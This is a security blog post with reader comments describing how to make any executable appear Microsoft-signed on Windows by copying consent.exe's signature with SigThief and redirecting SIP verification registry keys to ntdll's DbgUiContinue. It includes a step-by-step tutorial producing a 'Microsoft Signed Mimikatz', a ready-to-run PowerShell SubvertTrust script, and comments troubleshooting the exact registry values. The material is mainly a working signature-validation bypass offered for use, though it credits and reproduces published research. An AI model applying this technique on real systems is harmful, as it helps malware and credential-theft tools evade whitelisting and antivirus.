Borrowing Microsoft Code Signing Certificates

Background

This past weekend at DerbyCon, Matt Graeber (@mattifestation) was the keynote speaker. He gave a talk called ‘Subverting Trust in Windows – A Case Study of the “How” and “Why” of Engaging in Security Research’. In the talk, Matt was transparent in his research process where he was able to borrow Microsoft’s code signing certificate in order to bypass signature validation checking. Below is a list of everything Matt released at DerbyCon. I highly recommend you stop reading and watch the talk before continuing to read this blog post.

Adventure

In the spirit of Matt’s talk, I’m going to attempt to be transparent in the process I took to utilize his research. Prior to DerbyCon, I was talking to Yitro Inwald (@thesl3ep) about bypassing anti-virus as well as HIPS/HIDS. He shared a method with me that he had been using on his engagements. Yitro has been using a tool called HashClash to create hash collisions in MD5 to make his malicious binary look the same as iexplore.exe. I never tried it myself, but he was nice enough to share a blog post on how to accomplish this.

This got me thinking about how this would apply to application whitelisting and if it could be abused as a potential bypass. During Matt’s DerbyCon talk, he showed that he could “borrow” a Microsoft code signing certificate by “Subverting Trust in Windows”. Matt primarily demonstrated signing powershell scripts in his talk. His proof of concept was also related to powershell. I kept wondering how he did it with an executable. On September 26, 2017, Casey Smith (@subtee) tweeted the following.

First, let’s take a look at each of these tools even if we’re familiar with them already: mimikatz and SigThief.

I decided it was time to watch Matt’s talk again and take some notes. I also opened his white paper to cross reference while watching. A couple hours later, I understood how he was hijacking a SIP with a DLL to sign powershell scripts with his proof of concept. I kept learning, however, there was still this missing piece. This is where I reached this point in his talk.

His backdoored notepad passes ‘Get-AuthenticodeSignature’. How did he do that? He mentions modifying a few registry keys. I thought to myself, the details must be in the white paper, and they are. However, the easier way to is take a look at his demo specifically on lines 13-16 and 23-26.

Okay, so now it makes sense why Casey opted to use Josh Pitts’ (@midnite_runner) tool SigThief.

Matt Graeber is borrowing an existing application’s signature and modifying two registry keys to make his executable signed by Microsoft.

Tutorial

  1. Download mimikatz: https://github.com/gentilkiwi/mimikatz
  2. Download SigThief: https://github.com/secretsquirrel/SigThief
  3. Run the following command
    sigthief.py -i C:\Windows\System32\consent.exe -t mimikatz.exe -o testaroo.exe
  4. Weaken the target by modifying the following registry keys (32 bit)
    • HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) – C:\Windows\System32\ntdll.dll
    • HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) – DbgUiContinue
  5. Weaken the target by modifying the following registry keys (64 bit)
    • HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\Dll (REG_SZ) – C:\Windows\System32\ntdll.dll
    • HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}\FuncName (REG_SZ) – DbgUiContinue
  6. Verifiy the signature is valid with powershell
    • Get-AuthenticodeSignature -FilePath C:\Path\To\file.exe
  7. Start a new process for the hijack to take effect.
    1. powershell.exe
    2. Note: this can be any process
  8. Microsoft Signed Mimikatz

SubvertTrust Powershell Script

Download here.

<#
    SubvertTrust v1.0
    License: GPLv3
    Author: @ConsciousHacker
    Credits: @mattifestation
#>
function SubvertTrust
{
	$VerifyHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'

	# PE SIP Guids
	#{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
	#{C689AABA-8E78-11D0-8C47-00C04FC295EE}
	$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}'

	$PESignatureVerifier = Get-Item -Path "$VerifyHashFunc\$PESIPGuid\"

	# Signed code reuse attack that will effectively return TRUE when the
	# digitial signature hash validation function is called.
	$NewDll = 'C:\Windows\System32\ntdll.dll'
	$NewFuncName = 'DbgUiContinue'
	
	$PESignatureVerifier | Set-ItemProperty -Name Dll -Value $NewDll
	$PESignatureVerifier | Set-ItemProperty -Name FuncName -Value $NewFuncName
}

function RevertTrust
{
	$VerifyHashFunc = 'HKLM:\SOFTWARE\Microsoft\Cryptography' +'\OID\EncodingType 0\CryptSIPDllVerifyIndirectData'

	# PE SIP Guids
	#{C689AAB9-8E78-11D0-8C47-00C04FC295EE}
	#{C689AABA-8E78-11D0-8C47-00C04FC295EE}
	$PESIPGuid = '{C689AAB8-8E78-11D0-8C47-00C04FC295EE}'

	$PESignatureVerifier = Get-Item -Path "$VerifyHashFunc\$PESIPGuid\"

	# Signed code reuse attack that will effectively return TRUE when the
	# digitial signature hash validation function is called.
	$NewDll = 'WINTRUST.DLL'
	$NewFuncName = 'CryptSIPVerifyIndirectData'
	
	$PESignatureVerifier | Set-ItemProperty -Name Dll -Value $NewDll
	$PESignatureVerifier | Set-ItemProperty -Name FuncName -Value $NewFuncName
}

##################
# Start a new process for the hijack to take effect.
# powershell
##################

Lessons Learned

Look at ALL materials available that were released by a security researcher.

Credits

Matt Graeber (@mattifestation)

Josh Pitts (@midnite_runner)

Benjamin Delpy (@gentilkiwi)

Standard

13 thoughts on “Borrowing Microsoft Code Signing Certificates

  1. SugarImp says:

    I’m having issues getting it to work, and I’ve ran out of things to try, I did the following:

    1 – transplanted the signature from consent.exe to a non-signed exe using sigthief
    2 – modified the following registry entries:

    32 bit:
    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}]
    “Dll”=”C:\Windows\System32\ntdll.dll”
    “FuncName”=”GetLegitMSSignature”

    [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}]
    “Dll”=”C:\Windows\System32\ntdll.dll”
    “FuncName”=”DbgUiContinue”

    64 bit:
    [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}]
    “Dll”=”C:\Windows\System32\ntdll.dll”
    “FuncName”=”GetLegitMSSignature”

    [HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}]
    “Dll”=”C:\Windows\System32\ntdll.dll”
    “FuncName”=”DbgUiContinue”

    3 – I tried setting only the 32 bit OR 64 bit entries, I got an invalid signature message in the file properties and powershell
    4 – I tried setting both 32/64 bit entries simultaneously, and the “Digital Signatures” tab in the file properties disappeared, powershell reported that the exe did not contain a signature

    Tested this on Windows 7 x64 SP1 with July – 2017 updates only.

    • lopi says:

      I tested this on Windows 7 32 bit with a similar patch level. Feel free to ping me on twitter (@ConsciousHacker). I’ll follow you back for a DM. I will also test this on Windows 7 x64 and get back to you.

      EDIT: Tested on Windows 7 x64, I’m experiencing the same issue. Let me look into this a little more.

      EDIT2: Is your copy of Windows genuinely activated?

  2. iwillbeback says:

    I have tested in win7_x86_ultra,win7_x64_sp1_ultra,win7_x86_sp1_ultra, all have the same problem: the “Digital Signatures” tab in the file properties disappeared。why?

  3. iwillbeback says:

    I have tested in win7_x86_ultra,win7_x64_sp1_ultra,win7_x86_sp1_ultra, all have the same problem: the “Digital Signatures” tab in the file properties disappeared。why?
    There is not “GetLegitMSSignature” function in ntdll.dll export table。Windows version problem?

    • GetLegitMSSignature is an exported function from Graeby’s MySIP.dll PoC. https://github.com/mattifestation/PoCSubjectInterfacePackage/blob/master/MySIP/MySIP.c#L138. It is incorrect to configure the provider to call that function within ntdll.dll (since it does not exist on any Windows version).

      The above technique does not need any CryptSIPDllGetSignedDataMsg changes to work as @lopi intended. I’ve recommend he remove those notes from the blog.

      For those running into trouble who are using the digital signature tab/GUI to verify the modification, make sure you close/reopen explorer.exe before hand to force the new process to query the new SIP DLL and exported function name (just like how you have to open a new PowerShell process to make Get-AuthenticodeSignature query correctly).

      Hope this helps!

    • Dave says:

      I dont think that “GetLegitMSSignature” is a function of ntdll when you consider the name itself “Get Legit MS Signature”. It looks like a function of another SIP hijack dll?

  4. SugarImp says:

    Sorry for making a mess in the comments section with all the regedit keys I posted before, unfortunately I don’t use twitter, so I can’t DM.

    I’ve made a few tests, but unfortunately, I did not make a lot of progress, I worked with these windows releases, without updates and with the latest updates, these copies of windows were not activated.

    en_windows_7_professional_with_sp1_x64_dvd_621750.iso
    en_windows_7_professional_with_sp1_x86_dvd_u_677056.iso

    It seems that the only registry modification that’s required to get a valid signature in the “Digital Signatures” tab in file properties and powershell is the following entry:

    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{C689AAB8-8E78-11D0-8C47-00C04FC295EE}
    “Dll”=”NTDLL.DLL”
    “FuncName”=”DbgUiContinue”

    This is valid for both x86 and x64, and it works in every case, without updates, or with all the latest security updates, make sure to reboot after you modify this registry entry.

    OK, that works for the file properties “Digital Signature” tab, and powershell, but is it supposed to display a valid signature if you launch the exe file through admin elevation? I only get an “Unknown” field like so:
    https://www.excelsiorjet.com/kb/34/UAC-unsigned.png

    I tried searching for “GetLegitMSSignature” in ntdll.dll on my VMs using IDA, as IWILLBEBACK pointed out, this function name does not show up in the export table, but I did find this GitHub repo:

    https://github.com/mattifestation/PoCSubjectInterfacePackage

    Perhaps it is necessary to compile this dll, incorporate it into the system as described in the repo, and use it instead of ntdll.dll in the GetLegitMSSignature regedit entries? I haven’t tested it yet, but I might have a chance to try this tomorrow.

  5. iwillbeback says:

    I spent 10 days, and finally tested successfully.
    I think maybe really related to the system version.
    Thank you for your work!

Leave a Reply

Your email address will not be published. Required fields are marked *